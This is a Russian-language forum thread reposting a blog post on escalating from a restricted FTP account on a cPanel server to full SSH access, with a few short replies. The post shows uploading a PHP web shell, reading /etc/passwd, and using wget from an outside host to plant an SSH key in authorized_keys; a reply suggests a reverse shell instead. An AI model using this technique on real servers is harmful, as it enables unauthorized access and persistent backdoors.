Новости из Блогов Как получить доступ к серверу через SSH, имея только виртуальный FTP аккаунт

Discussion in 'Мировые новости. Обсуждения.' started by Suicide, 30 Aug 2012.

  1. Suicide

    Suicide Super Moderator
    Staff Member

    Joined:
    24 Apr 2009
    Messages:
    2,373
    Likes Received:
    6,619
    Reputations:
    693
    Как получить доступ к серверу через SSH, имея только виртуальный FTP аккаунт


    Сегодня попался довольно интересный случай в саппорте, где пришлось отлаживать работу приложения на PHP, имея только виртуальный FTP аккаунт. В качестве примера я буду называть сайт www.example.com и FTP аккаунт supportuser@example.com, ограниченный корневой директорией исходников сайта. Сервер, на котором расположен сайт, работает под управлением WHM/cPanel.

    Моя цель - получить доступ к логам вебсервера (которые находятся вне корневой директории сайта), чтобы понять причину глюков в работе приложения. В корне сайта валяется файлик error_log, но его содерживое не содержит ничего полезного, его происходит ошибка уровнем выше, чем интерпретатор PHP.

    Имея FTP доступ, я заливаю phpshell в корень сайта и проверяю под каким пользователем сервер выполняет php скрипты.
    Code:
    phpshell> id
    uid=500(examplec) gid=500(examplec) groups=500(examplec)
    Если имя пользователя состоит из 8 первых символов из названия домена, то это косвенно указывает на стандартную конфигурацию WHM/cPanel, а следовательно интерпретатор PHP на этом сайте работает в режиме CGI/FastCGI. А еще это означает, что мы имеем возможность изменять файлы, которые принадлежат пользователю examplec.

    Проверяем, имеет ли этот пользователь валидный shell
    Code:
    phpshell> grep '^examplec:' /etc/passwd
    examplec:x:500:500::/home/examplec:/bin/bash
    Наличие /bin/bash в последнем поле подтверждает, что у пользователя examplec есть рабочий шелл. В принципе уже сейчас можно логиниться через SSH на examplec@example.com, но я не знаю пароль пользователя examplec (у меня есть только пароль от виртуального аккаунта supportuser@example.com).

    Чтобы попасть на сервер, мне нужно воспользоваться возможностью логиниться через публичный ключ SSH (я еще не встречал сервер, где бы была отключена такая возможность). Для этого я создаю в домашней директории пользователя директорию .ssh и скачиваю в нее свой открытый ключ SSH.
    Code:
    phpshell> mkdir ~/.ssh
    phpshell> wget -q -O ~/.ssh/authorized_keys http://sharedsite.com/my-ssh-public-key
    Вот теперь можно логиниться через SSH.

    Автор: Andrey Tataranovich
    среда, 29 августа 2012 г.
    http://blog.tataranovich.com/2012/08/ssh-ftp.html
     
  2. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    913
    Likes Received:
    480
    Reputations:
    724
    Проще сделать бэкконнект (=
     
    _________________________
  3. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    913
    Likes Received:
    480
    Reputations:
    724
    Откуда такая ненависть к супермодераторам? Есть причины?
     
    _________________________
  4. Sharp.Net

    Sharp.Net New Member

    Joined:
    28 Jul 2012
    Messages:
    39
    Likes Received:
    3
    Reputations:
    1
    Какая ненависть? Он сказал,что бекконект фуфло перед SSH
     
  5. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764